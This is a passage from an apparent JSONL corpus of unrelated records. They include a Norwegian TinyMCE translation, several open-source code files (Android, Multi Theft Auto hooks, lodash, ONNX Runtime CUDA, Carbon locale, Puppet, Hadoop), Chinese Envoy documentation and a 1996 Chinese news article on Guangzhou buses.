(bilde-URL)\",\n\"Paste your embed code below:\": \"Lim inn inkluderings-koden nedenfor\",\n\"Embed\": \"Inkluder\",\n\"Media...\": \"Media..\",\n\"Nonbreaking space\": \"Hardt mellomrom\",\n\"Page break\": \"Sideskifte\",\n\"Paste as text\": \"Lim inn som tekst\",\n\"Preview\": \"Forh\\u00e5ndsvisning\",\n\"Print...\": \"Skriv ut...\",\n\"Save\": \"Arkiver\",\n\"Find\": \"Finn\",\n\"Replace with\": \"Erstatt med\",\n\"Replace\": \"Erstatt\",\n\"Replace all\": \"Erstatt alle\",\n\"Previous\": \"Forrige\",\n\"Next\": \"Neste\",\n\"Find and replace...\": \"Finn og erstatt...\",\n\"Could not find the specified string.\": \"Kunne ikke finne den spesifiserte teksten\",\n\"Match case\": \"Match store og sm\\u00e5 bokstaver\",\n\"Find whole words only\": \"Finn kun hele ord\",\n\"Spell check\": \"Stavekontroll\",\n\"Ignore\": \"Ignorer\",\n\"Ignore all\": \"Ignorer alle\",\n\"Finish\": \"Avslutt\",\n\"Add to Dictionary\": \"Legg til i ordliste\",\n\"Insert table\": \"Sett inn tabell\",\n\"Table properties\": \"Tabell egenskaper\",\n\"Delete table\": \"Slett tabell\",\n\"Cell\": \"Celle\",\n\"Row\": \"Rad\",\n\"Column\": \"Kolonne\",\n\"Cell properties\": \"Celle egenskaper\",\n\"Merge cells\": \"Sl\\u00e5 sammen celler\",\n\"Split cell\": \"Splitt celle\",\n\"Insert row before\": \"Sett inn rad f\\u00f8r\",\n\"Insert row after\": \"Sett in rad etter\",\n\"Delete row\": \"Slett rad\",\n\"Row properties\": \"Rad egenskaper\",\n\"Cut row\": \"Klipp ut rad\",\n\"Copy row\": \"Kopier rad\",\n\"Paste row before\": \"Lim inn rad f\\u00f8r\",\n\"Paste row after\": \"Lim inn rad etter\",\n\"Insert column before\": \"Sett inn kolonne f\\u00f8r\",\n\"Insert column after\": \"Sett inn kolonne etter\",\n\"Delete column\": \"Slett kolonne\",\n\"Cols\": \"Kolonner\",\n\"Rows\": \"Rader\",\n\"Width\": \"Bredde\",\n\"Height\": \"H\\u00f8yde\",\n\"Cell spacing\": \"Celleavstand\",\n\"Cell padding\": \"Cellemarg\",\n\"Show caption\": \"Vis bildetekst\",\n\"Left\": \"Venstre\",\n\"Center\": \"Midtstilt\",\n\"Right\": \"H\\u00f8yre\",\n\"Cell type\": \"Celletype\",\n\"Scope\": \"Omfang\",\n\"Alignment\": \"Justering\",\n\"H Align\": \"H Justering\",\n\"V Align\": \"V Justering\",\n\"Top\": \"Topp\",\n\"Middle\": \"Midten\",\n\"Bottom\": \"Bunn\",\n\"Header cell\": \"Topptekst-celle\",\n\"Row group\": \"Radgruppe\",\n\"Column group\": \"Kolonnegruppe\",\n\"Row type\": \"Rad-type\",\n\"Header\": \"Topptekst\",\n\"Body\": \"Br\\u00f8dtekst\",\n\"Footer\": \"Bunntekst\",\n\"Border color\": \"Rammefarge\",\n\"Insert template...\": \"Sett inn mal..\",\n\"Templates\": \"Maler\",\n\"Template\": \"Mal\",\n\"Text color\": \"Tekstfarge\",\n\"Background color\": \"Bakgrunnsfarge\",\n\"Custom...\": \"Tilpass...\",\n\"Custom color\": \"Tilpasset farge\",\n\"No color\": \"Ingen farge\",\n\"Remove color\": \"Fjern farge\",\n\"Table of Contents\": \"Innholdsfortegnelse\",\n\"Show blocks\": \"Vis blokker\",\n\"Show invisible characters\": \"Vis skjulte tegn\",\n\"Word count\": \"Ordtelling\",\n\"Words: {0}\": \"Antall ord: {0}\",\n\"{0} words\": \"{0} ord\",\n\"File\": \"Arkiv\",\n\"Edit\": \"Rediger\",\n\"Insert\": \"Sett inn\",\n\"View\": \"Vis\",\n\"Format\": \"Format\",\n\"Table\": \"Tabell\",\n\"Tools\": \"Verkt\\u00f8y\",\n\"Powered by {0}\": \"Redigert med {0}\",\n\"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help\": \"Tekstredigering. Tast ALT-F9 for meny. Tast ALT-F10 for verkt\\u00f8ys-rader. Tast ALT-0 for hjelp.\",\n\"Image title\": \"Bildetittel\",\n\"Border width\": \"Bordbredde\",\n\"Border style\": \"Bordstil\",\n\"Error\": \"Feil\",\n\"Warn\": \"Advarsel\",\n\"Valid\": \"Gyldig\",\n\"To open the popup, press Shift+Enter\": \"For \\u00e5 \\u00e5pne popup, trykk Shift+Enter\",\n\"Rich Text Area. Press ALT-0 for help.\": \"Rik-tekstomr\\u00e5de. Trykk ALT-0 for hjelp.\",\n\"System Font\": \"Systemfont\",\n\"Failed to upload image: {0}\": \"Opplasting av bilde feilet: {0}\",\n\"Failed to load plugin: {0} from url {1}\": \"Kunne ikke laste tillegg: {0} from url {1}\",\n\"Failed to load plugin url: {0}\": \"Kunne ikke laste tillegg url: {0}\",\n\"Failed to initialize plugin: {0}\": \"Kunne ikke initialisere tillegg: {0}\",\n\"example\": \"eksempel\",\n\"Search\": \"S\\u00f8k\",\n\"All\": \"Alle\",\n\"Currency\": \"Valuta\",\n\"Text\": \"Tekst\",\n\"Quotations\": \"Sitater\",\n\"Mathematical\": \"Matematisk\",\n\"Extended Latin\": \"Utvidet latin\",\n\"Symbols\": \"Symboler\",\n\"Arrows\": \"Piler\",\n\"User Defined\": \"Brukerdefinert\",\n\"dollar sign\": \"dollartegn\",\n\"currency sign\": \"valutasymbol\",\n\"euro-currency sign\": \"Euro-valutasymbol\",\n\"colon sign\": \"kolon-symbol\",\n\"cruzeiro sign\": \"cruzeiro-symbol\",\n\"french franc sign\": \"franske franc-symbol\",\n\"lira sign\": \"lire-symbol\",\n\"mill sign\": \"mill-symbol\",\n\"naira sign\": \"naira-symbol\",\n\"peseta sign\": \"peseta-symbol\",\n\"rupee sign\": \"rupee-symbol\",\n\"won sign\": \"won-symbol\",\n\"new sheqel sign\": \"Ny sheqel-symbol\",\n\"dong sign\": \"dong-symbol\",\n\"kip sign\": \"kip-symbol\",\n\"tugrik sign\": \"tugrik-symbol\",\n\"drachma sign\": \"drachma-symbol\",\n\"german penny symbol\": \"tysk penny-symbol\",\n\"peso sign\": \"peso-symbol\",\n\"guarani sign\": \"quarani-symbol\",\n\"austral sign\": \"austral-symbol\",\n\"hryvnia sign\": \"hryvina-symbol\",\n\"cedi sign\": \"credi-symbol\",\n\"livre tournois sign\": \"livre tournois-symbol\",\n\"spesmilo sign\": \"spesmilo-symbol\",\n\"tenge sign\": \"tenge-symbol\",\n\"indian rupee sign\": \"indisk rupee-symbol\",\n\"turkish lira sign\": \"tyrkisk lire-symbol\",\n\"nordic mark sign\": \"nordisk mark-symbol\",\n\"manat sign\": \"manat-symbol\",\n\"ruble sign\": \"ruble-symbol\",\n\"yen character\": \"yen-symbol\",\n\"yuan character\": \"yuan-symbol\",\n\"yuan character, in hong kong and taiwan\": \"yuan-symbol, i Hongkong og Taiwan\",\n\"yen\\/yuan character variant one\": \"yen\\/yuan-symbol variant en\",\n\"Loading emoticons...\": \"Laster emoticons..\",\n\"Could not load emoticons\": \"Kunne ikke laste emoticons\",\n\"People\": \"Mennesker\",\n\"Animals and Nature\": \"Dyr og natur\",\n\"Food and Drink\": \"Mat og drikke\",\n\"Activity\": \"Aktivitet\",\n\"Travel and Places\": \"Reise og steder\",\n\"Objects\": \"Objekter\",\n\"Flags\": \"Flagg\",\n\"Characters\": \"Tegn\",\n\"Characters (no spaces)\": \"Tegn (uten mellomrom)\",\n\"Error: Form submit field collision.\": \"Feil: Skjemafelt innsendingskollisjon\",\n\"Error: No form element found.\": \"Feil: Intet skjemafelt funnet.\",\n\"Update\": \"Oppdater\",\n\"Color swatch\": \"Fargepalett\",\n\"Turquoise\": \"Turkis\",\n\"Green\": \"Gr\\u00f8nn\",\n\"Blue\": \"Bl\\u00e5\",\n\"Purple\": \"Lilla\",\n\"Navy Blue\": \"Marinebl\\u00e5\",\n\"Dark Turquoise\": \"M\\u00f8rk turkis\",\n\"Dark Green\": \"M\\u00f8rkegr\\u00f8nn\",\n\"Medium Blue\": \"Mellombl\\u00e5\",\n\"Medium Purple\": \"Medium lilla\",\n\"Midnight Blue\": \"Midnattbl\\u00e5\",\n\"Yellow\": \"Gul\",\n\"Orange\": \"Oransje\",\n\"Red\": \"R\\u00f8d\",\n\"Light Gray\": \"Lys gr\\u00e5\",\n\"Gray\": \"Gr\\u00e5\",\n\"Dark Yellow\": \"M\\u00f8rk gul\",\n\"Dark Orange\": \"M\\u00f8rk oransje\",\n\"Dark Red\": \"M\\u00f8rker\\u00f8d\",\n\"Medium Gray\": \"Medium gr\\u00e5\",\n\"Dark Gray\": \"M\\u00f8rk gr\\u00e5\",\n\"Black\": \"Svart\",\n\"White\": \"Hvit\",\n\"Switch to or from fullscreen mode\": \"Bytt til eller fra fullskjermmodus\",\n\"Open help dialog\": \"\\u00c5pne hjelp-dialog\",\n\"history\": \"historikk\",\n\"styles\": \"stiler\",\n\"formatting\": \"formatering\",\n\"alignment\": \"justering\",\n\"indentation\": \"innrykk\",\n\"permanent pen\": \"permanent penn\",\n\"comments\": \"kommentarer\",\n\"Anchor\": \"Anker\",\n\"Special character\": \"Spesialtegn\",\n\"Code sample\": \"Kodeeksempel\",\n\"Color\": \"Farge\",\n\"Emoticons\": \"Hum\\u00f8rfjes\",\n\"Document properties\": \"Dokumentegenskaper\",\n\"Image\": \"Bilde\",\n\"Insert link\": \"Sett inn lenke\",\n\"Target\": \"M\\u00e5l\",\n\"Link\": \"Lenke\",\n\"Poster\": \"Plakatbilde\",\n\"Media\": \"Media\",\n\"Print\": \"Skriv ut\",\n\"Prev\": \"Forrige\",\n\"Find and replace\": \"Finn og erstatt\",\n\"Whole words\": \"Hele ord\",\n\"Spellcheck\": \"Stavekontroll\",\n\"Caption\": \"Tittel\",\n\"Insert template\": \"Sett inn mal\"\n});"} {"text": "/*\n * Copyright (C) 2010 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.facebook.jni;\n\n\nimport com.facebook.soloader.SoLoader;\n\n\nimport javax.microedition.khronos.egl.EGL10;\nimport javax.microedition.khronos.egl.EGLConfig;\nimport javax.microedition.khronos.egl.EGLContext;\nimport javax.microedition.khronos.egl.EGLDisplay;\n\npublic class Prerequisites {\n private static final int EGL_OPENGL_ES2_BIT = 0x0004;\n\n public static void ensure() {\n SoLoader.loadLibrary(\"fbjni\");\n }\n\n // Code is simplified version of getDetectedVersion()\n // from cts/tests/tests/graphics/src/android/opengl/cts/OpenGlEsVersionTest.java\n static public boolean supportsOpenGL20() {\n EGL10 egl = (EGL10) EGLContext.getEGL();\n EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);\n int[] numConfigs = new int[1];\n\n if (egl.eglInitialize(display, null)) {\n try {\n if (egl.eglGetConfigs(display, null, 0, numConfigs)) {\n EGLConfig[] configs = new EGLConfig[numConfigs[0]];\n if (egl.eglGetConfigs(display, configs, numConfigs[0], numConfigs)) {\n int[] value = new int[1];\n for (int i = 0; i < numConfigs[0]; i++) {\n if (egl.eglGetConfigAttrib(display, configs[i],\n EGL10.EGL_RENDERABLE_TYPE, value)) {\n if ((value[0] & EGL_OPENGL_ES2_BIT) == EGL_OPENGL_ES2_BIT) {\n return true;\n }\n }\n }\n }\n }\n } finally {\n egl.eglTerminate(display);\n }\n }\n return false;\n }\n}\n\n"} {"text": "/*****************************************************************************\n *\n * PROJECT: Multi Theft Auto v1.0\n * LICENSE: See LICENSE in the top level directory\n * FILE: multiplayer_sa/CPopulationSA.cpp\n * PURPOSE: Ped world population class\n *\n * Multi Theft Auto is available from http://www.multitheftauto.com/\n *\n *****************************************************************************/\n\n#include \"StdInc.h\"\n\nusing std::list;\n\nCPedSAInterface* pPedStorage;\nCPopulationSA* pSingleton;\nDWORD pedVtable;\n\nVOID HOOK_EndOf_CPopulation__Add();\nVOID HOOK_CPopulation__RemovePed();\n\nCivilianAddHandler* m_pCivilianAddHandler;\nCivilianRemoveHandler* m_pCivilianRemoveHandler;\n\nCPopulationSA::CPopulationSA()\n{\n dwPedCount = 0;\n HookInstall(HOOKPOS_EndOf_CPopulation__Add, (DWORD)HOOK_EndOf_CPopulation__Add, 6);\n HookInstall(HOOKPOS_CPopulation__RemovePed, (DWORD)HOOK_CPopulation__RemovePed, 6);\n pSingleton = this;\n m_pCivilianRemoveHandler = NULL;\n m_pCivilianAddHandler = NULL;\n}\n\nVOID CPopulationSA::AddPed(CCivilianPed* ped)\n{\n CCivilianPedSA* pPedSA = dynamic_cast<CCivilianPedSA*>(ped);\n if (!pPedSA)\n return;\n\n CEntitySAInterface* pPedSAInterface = pPedSA->GetInterface();\n\n list<CCivilianPedSA*>::iterator iter;\n for (iter = peds.begin(); iter != peds.end(); ++iter)\n {\n if ((*iter)->GetInterface() == pPedSAInterface)\n {\n return;\n }\n }\n\n peds.push_back(pPedSA);\n dwPedCount++;\n}\n\nVOID CPopulationSA::AddPed(CPedSAInterface* ped)\n{\n list<CCivilianPedSA*>::iterator iter;\n for (iter = peds.begin(); iter != peds.end(); ++iter)\n {\n if ((*iter)->GetInterface() == ped)\n {\n return;\n }\n }\n\n CCivilianPedSA* pedSA = dynamic_cast<CCivilianPedSA*>(pGameInterface->GetPools()->AddCivilianPed((DWORD*)ped));\n if (!pedSA)\n return;\n\n char szDebug[255] = {'\\0'};\n DWORD dwPedInterface = (DWORD)pedSA->GetInterface();\n sprintf(szDebug, \"Civ ped added (%d) (0x%p -> 0x%X)\\n\", dwPedCount + 1, ped, dwPedInterface);\n // OutputDebugString ( szDebug );\n\n if (m_pCivilianAddHandler)\n m_pCivilianAddHandler(pedSA);\n\n peds.push_back(pedSA);\n ++dwPedCount;\n}\n\nVOID CPopulationSA::RemovePed(CCivilianPed* ped)\n{\n if (!ped)\n return;\n\n CCivilianPedSA* pPedSA = dynamic_cast<CCivilianPedSA*>(ped);\n if (!pPedSA)\n return;\n\n ped->SetDoNotRemoveFromGameWhenDeleted(true);\n pGameInterface->GetPools()->RemovePed((CPed*)ped);\n if (!peds.empty())\n peds.remove(pPedSA);\n dwPedCount--;\n}\n\nVOID CPopulationSA::RemovePed(CPedSAInterface* ped)\n{\n list<CCivilianPedSA*>::iterator iter;\n for (iter = peds.begin(); iter != peds.end(); ++iter)\n {\n if ((*iter)->GetInterface() == ped)\n {\n char szDebug[255] = {'\\0'};\n sprintf(szDebug, \"Civ ped removed (%d)\\n\", dwPedCount - 1);\n pGameInterface->GetPools()->RemovePed((CPed*)(CCivilianPed*)(*iter), false);\n // OutputDebugString ( szDebug );\n\n if (m_pCivilianRemoveHandler)\n m_pCivilianRemoveHandler((*iter));\n\n peds.erase(iter);\n dwPedCount--;\n return;\n }\n }\n // OutputDebugString ( \"Tried to remove Civ Ped, but Civ Ped not found!\\n\" );\n}\n\nDWORD CPopulationSA::GetPedCount()\n{\n return dwPedCount;\n}\n\nCCivilianPed* CPopulationSA::GetFirstPed()\n{\n if (peds.size() > 0)\n {\n pedIter = peds.begin();\n return *peds.begin();\n }\n else\n {\n return NULL;\n }\n}\n\nCCivilianPed* CPopulationSA::GetNextPed()\n{\n ++(pedIter);\n if (pedIter != peds.end())\n {\n return *pedIter;\n }\n else\n {\n return NULL;\n }\n}\n\nvoid CPopulationSA::SetCivilianAddHandler(CivilianAddHandler* pCivilianAddHandler)\n{\n m_pCivilianAddHandler = pCivilianAddHandler;\n}\n\nvoid CPopulationSA::SetCivilianRemoveHandler(CivilianRemoveHandler* pCivilianRemoveHandler)\n{\n m_pCivilianRemoveHandler = pCivilianRemoveHandler;\n}\n\nVOID _declspec(naked) HOOK_EndOf_CPopulation__Add()\n{\n _asm\n {\n mov pPedStorage, eax\n pushad\n }\n\n pSingleton->AddPed(pPedStorage);\n\n _asm\n {\n popad\n add esp, 0x3C\n retn\n }\n}\n\nVOID _declspec(naked) HOOK_CPopulation__RemovePed()\n{\n /*\n 00610F20 /$ 56 PUSH ESI\n 00610F21 |. 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8]\n 00610F25 |. 56 PUSH ESI\n */\n\n _asm\n {\n\n push esi\n mov esi, [esp+8]\n push esi\n mov pPedStorage, esi\n mov ecx, [esi]\n mov pedVtable, ecx\n pushad\n }\n\n if (pedVtable == VTBL_CPlayerPed)\n {\n _asm\n {\n popad\n pop esi\n pop esi\n retn\n }\n }\n\n pSingleton->RemovePed(pPedStorage);\n\n _asm\n {\n popad\n mov ecx, HOOKPOS_CPopulation__RemovePed\n add ecx, 6\n jmp ecx\n }\n}\n"} {"text": "/**\n * Copyright (c) 2014-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#pragma once\n#include <string>\n\n#include \"Yoga.h\"\n\nnamespace facebook {\nnamespace yoga {\n\nvoid YGNodeToString(\n std::string* str,\n YGNodeRef node,\n YGPrintOptions options,\n uint32_t level);\n\n} // namespace yoga\n} // namespace facebook\n"} {"text": "/** Used as references for various `Number` constants. */\nvar MAX_SAFE_INTEGER = 9007199254740991;\n\n/**\n * Checks if `value` is a valid array-like length.\n *\n * **Note:** This method is loosely based on\n * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.\n * @example\n *\n * _.isLength(3);\n * // => true\n *\n * _.isLength(Number.MIN_VALUE);\n * // => false\n *\n * _.isLength(Infinity);\n * // => false\n *\n * _.isLength('3');\n * // => false\n */\nfunction isLength(value) {\n return typeof value == 'number' &&\n value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;\n}\n\nmodule.exports = isLength;\n"} {"text": "/**\n* Copyright (c) 2016-present, Facebook, Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*/\n\n/* Modifications Copyright (c) Microsoft. */\n\n#pragma once\n#include \"cuda.h\"\n#include \"cuda_fp16.h\"\n#include \"cuda_runtime.h\"\n\nnamespace onnxruntime {\nnamespace cuda {\n\n__device__ __forceinline__ void atomic_add(float *address, float value) {\n atomicAdd(address, value);\n}\n\n__device__ __forceinline__ void atomic_add(double *address, double value) {\n#if __CUDA_ARCH__ < 600\n unsigned long long* raw_address = reinterpret_cast<unsigned long long*>(address);\n unsigned long long raw_old_value = 0ULL;\n unsigned long long raw_new_value = 0ULL;\n unsigned long long seen_old_value = 0ULL;\n double* const p_old_value = reinterpret_cast<double*>(&raw_old_value);\n double* const p_new_value = reinterpret_cast<double*>(&raw_new_value);\n do {\n *p_old_value = *address;\n *p_new_value = *address + value;\n seen_old_value = atomicCAS(raw_address, raw_old_value, raw_new_value);\n } while (seen_old_value != raw_old_value);\n#else\n atomicAdd(address, value);\n#endif\n}\n\n//\n// ref: https://github.com/pytorch/pytorch/blob/master/aten/src/THC/THCAtomics.cuh\n//\n__device__ __forceinline__ void atomic_add(half *address, half value) {\n#if __CUDA_ARCH__ < 700\n unsigned int* base_address = (unsigned int*)((char*)address - ((size_t)address & 2));\n unsigned int old = *base_address;\n unsigned int assumed;\n unsigned short x;\n\n do {\n assumed = old;\n x = (size_t)address & 2 ? (old >> 16) : (old & 0xffff);\n x = __half_as_short(__float2half(__half2float(*reinterpret_cast<const __half*>(&x)) + __half2float(value)));\n old = (size_t)address & 2 ? (old & 0xffff) | (x << 16) : (old & 0xffff0000) | x;\n old = atomicCAS(base_address, assumed, old);\n } while (assumed != old);\n#else\n atomicAdd(address, value);\n#endif\n}\n\n} // namespace cuda\n} // namespace onnxruntime"} {"text": "# Redis 代理\n\n- Redis [架构概述](../../intro/arch_overview/redis.md#arch-overview-redis)\n- [v1 接口文档](https://www.envoyproxy.io/docs/envoy/latest/api-v1/network_filters/redis_proxy_filter#config-network-filters-redis-proxy-v1)\n- [v2 接口文档](https://www.envoyproxy.io/docs/envoy/latest/api-v2/config/filter/network/redis_proxy/v2/redis_proxy.proto#envoy-api-msg-config-filter-network-redis-proxy-v2-redisproxy)\n\n## 统计\n\n每个已配置的 Redis 代理过滤器都有以 *redis.<stat_prefix>.* 开头的统计,并提供如下的统计报告:\n\n| Name | Type | Description |\n| ------------------------------- | ------- | -------------------------------------------- |\n| downstream_cx_active | Gauge | 活跃的连接总数 |\n| downstream_cx_protocol_error | Counter | 协议错误总次数 |\n| downstream_cx_rx_bytes_buffered | Gauge | 当前接收并缓存的总字节数 |\n| downstream_cx_rx_bytes_total | Counter | 接收的总字节数 |\n| downstream_cx_total | Counter | 连接总数 |\n| downstream_cx_tx_bytes_buffered | Gauge | 当前发送并缓存的总字节数 |\n| downstream_cx_tx_bytes_total | Counter | 发送的总字节数 |\n| downstream_cx_drain_close | Counter | 因连接耗尽而关闭的连接总数 |\n| downstream_rq_active | Gauge | 活跃的请求总数 |\n| downstream_rq_total | Counter | 请求总数 |\n\n## 分离器统计\n\nRedis 过滤器将采集命令分离器的统计信息,并存放到以 *redis.<stat_prefix>.splitter* 开头的统计中,提供如下的统计报告:\n\n| Name | Type | Description |\n| ------------------- | ------- | ------------------------------------------------------------ |\n| invalid_request | Counter | 参数个数不正确的请求数 |\n| unsupported_command | Counter | 命令分离器无法识别的命令数 |\n\n## 每个命令的统计\n\nRedis 过滤器将收集每个命令的统计信息,并存放到以 *redis.<stat_prefix>.command.<command>* 开头的命名空间中,提供如下的统计报告:\n\n| Name | Type | Description |\n| ----- | ------- | ------------------ |\n| total | Counter | 命令数 |\n\n## 运行时\n\nRedis 代理过滤器支持如下的运行时设置:\n\n- redis.drain_close_enabled\n \n 当服务器因为连接耗尽而尝试关闭连接的百分比。 默认值是 100。"} {"text": "【 日 期 】19960509\n【 版 号 】2\n【 标 题 】公交系统引进竞争机制你追我赶 广州“老爷车”基本消失\n【 作 者 】杨广增\n【 正 文 】\n 据新华社广州5月8日电 (记者杨广增)不少外地人到广州都发现,广州的公共\n汽车大多宽敞、美观、舒适,昔日破旧的“老爷车”已基本消失。\n 这只是广州公交客运表面的变化。据了解,1994年以来,广州市已扭转了公交\n客运量5年下降的趋势,使城市公共交通告别了萎缩的历史,进入了新的发展时期。广\n州市客运交通管理处的负责人称,这都是公交系统勇于改革的结果。\n 1993年8月广州公交主力军“一汽”借鉴国外先进经验,开始推行无人售票制\n度。车辆的营运收入直接集中到结算中心,公司通过电脑就可直接掌握每辆车每天的营\n运情况。既减少了中间管理环节,又避免了各管理层之间的扯皮。企业成本大大降低,\n职工待遇有了较大提高。\n 广州市公交公司在对内实行改革的同时,大力引进外资。澳门新福利公共汽车有限\n公司率先与广州市电车公司合作,于1994年1月成立广州新福利巴士服务有限公司\n,一举打破了国有企业在巴士市场“一统天下”的局面。“新福利”只设车管、财务、\n行政三个部门,实行无人售票,公司不设食堂、医院、托儿所,票款由银行派员上门收\n集。其车辆全为空调大巴,车辆美观、整洁、车门宽大,座椅舒适,自动报站清晰响亮\n。“新福利”给人耳目一新之感,引来了市民争相乘坐。随后,“冠忠”、“新穗”、\n“马会”、“珍宝”等中外合资、合作或联营公司进入广州公共交通行业,它们与原有\n的国营公司一起,形成了广州市公共汽车运输市场你追我赶的局面。面对激烈竞争,广\n州国有公交企业加大了改革的力度,“一汽”比原计划提前了3年全面实施无人售票。\n目前,广州已有106条线路近1800辆公共汽车、电车实行了无人售票。\n \n \n \n \n"} {"text": "<?php\n\n/**\n * This file is part of the Carbon package.\n *\n * (c) Brian Nesbitt <brian@nesbot.com>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\n/*\n * Authors:\n * - bug-glibc-locales@gnu.org\n */\nreturn array_replace_recursive(require __DIR__.'/en.php', [\n 'formats' => [\n 'L' => 'DD.MM.YYYY',\n ],\n 'months' => ['studzienia', 'lutaha', 'sakavika', 'krasavika', 'maja', 'červienia', 'lipienia', 'žniŭnia', 'vieraśnia', 'kastryčnika', 'listapada', 'śniežnia'],\n 'months_short' => ['Stu', 'Lut', 'Sak', 'Kra', 'Maj', 'Čer', 'Lip', 'Žni', 'Vie', 'Kas', 'Lis', 'Śni'],\n 'weekdays' => ['Niadziela', 'Paniadziełak', 'Aŭtorak', 'Sierada', 'Čaćvier', 'Piatnica', 'Subota'],\n 'weekdays_short' => ['Nia', 'Pan', 'Aŭt', 'Sie', 'Čać', 'Pia', 'Sub'],\n 'weekdays_min' => ['Nia', 'Pan', 'Aŭt', 'Sie', 'Čać', 'Pia', 'Sub'],\n 'first_day_of_week' => 1,\n 'day_of_first_week_of_year' => 1,\n]);\n"} {"text": "# == Class: govuk::apps::email_alert_api:checks\n#\n# Various Icinga checks for Email Alert API.\n#\nclass govuk::apps::email_alert_api::checks(\n $ensure = present,\n) {\n\n sidekiq_queue_check {\n 'delivery_transactional':\n latency_warning => '300', # 5 minutes\n latency_critical => '600'; # 10 minutes\n\n 'delivery_immediate':\n latency_warning => '1200', # 20 minutes\n latency_critical => '1800'; # 30 minutes\n\n 'delivery_immediate_high':\n latency_warning => '300', # 5 minutes\n latency_critical => '600'; # 10 minutes\n\n 'delivery_digest':\n latency_warning => '3600', # 60 minutes\n latency_critical => '5400'; # 90 minutes\n }\n\n @@icinga::check::graphite { 'email-alert-api-unprocessed-content-changes':\n ensure => $ensure,\n host_name => $::fqdn,\n target => 'transformNull(keepLastValue(averageSeries(stats.gauges.govuk.app.email-alert-api.*.content_changes.unprocessed_total)))',\n warning => '0',\n critical => '0',\n from => '15minutes',\n desc => 'email-alert-api - unprocessed content changes older than 120 minutes',\n notes_url => monitoring_docs_url(email-alert-api-unprocessed-content-changes),\n }\n\n @@icinga::check::graphite { 'email-alert-api-critical-digest-runs':\n ensure => $ensure,\n host_name => $::fqdn,\n target => 'transformNull(keepLastValue(averageSeries(stats.gauges.govuk.app.email-alert-api.*.digest_runs.critical_total)))',\n warning => '0',\n critical => '0',\n from => '1hour',\n desc => 'email-alert-api - incomplete digest runs - critical',\n notes_url => monitoring_docs_url(email-alert-api-incomplete-digest-runs),\n }\n\n @@icinga::check::graphite { 'email-alert-api-unprocessed-messages':\n ensure => $ensure,\n host_name => $::fqdn,\n target => 'transformNull(keepLastValue(averageSeries(stats.gauges.govuk.app.email-alert-api.*.messages.unprocessed_total)))',\n warning => '0',\n critical => '0',\n from => '1hour',\n desc => 'email-alert-api - unprocessed messages older than 120 minutes',\n notes_url => monitoring_docs_url(email-alert-api-unprocessed-messages),\n }\n}\n"} {"text": "misc ops\nrot\n\t| x1 x2 x3 |\n\tx1 := self pop.\n\tx2 := self pop.\n\tx3 := self pop.\n\tself push: x2.\n\tself push: x1.\n\tself push: x3"} {"text": "package com.forezp;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class EurekaClientApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"} {"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n * <p>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.hadoop.yarn.server.nodemanager.webapp.dao.gpu;\n\nimport org.apache.hadoop.classification.InterfaceAudience;\nimport org.apache.hadoop.classification.InterfaceStability;\n\nimport javax.xml.bind.annotation.XmlElement;\nimport javax.xml.bind.annotation.XmlRootElement;\nimport javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;\n\n/**\n * Temperature of GPU\n */\n@InterfaceAudience.Private\n@InterfaceStability.Unstable\n@XmlRootElement(name = \"temperature\")\npublic class PerGpuTemperature {\n private float currentGpuTemp = Float.MIN_VALUE;\n private float maxGpuTemp = Float.MIN_VALUE;\n private float slowThresholdGpuTemp = Float.MIN_VALUE;\n\n /**\n * Get current celsius GPU temperature\n * @return temperature\n */\n @XmlJavaTypeAdapter(PerGpuDeviceInformation.StrToFloatBeforeSpaceAdapter.class)\n @XmlElement(name = \"gpu_temp\")\n public Float getCurrentGpuTemp() {\n return currentGpuTemp;\n }\n\n public void setCurrentGpuTemp(Float currentGpuTemp) {\n this.currentGpuTemp = currentGpuTemp;\n }\n\n /**\n * Get max possible celsius GPU temperature\n * @return temperature\n */\n @XmlJavaTypeAdapter(PerGpuDeviceInformation.StrToFloatBeforeSpaceAdapter.class)\n @XmlElement(name = \"gpu_temp_max_threshold\")\n public Float getMaxGpuTemp() {\n return maxGpuTemp;\n }\n\n public void setMaxGpuTemp(Float maxGpuTemp) {\n this.maxGpuTemp = maxGpuTemp;\n }\n\n 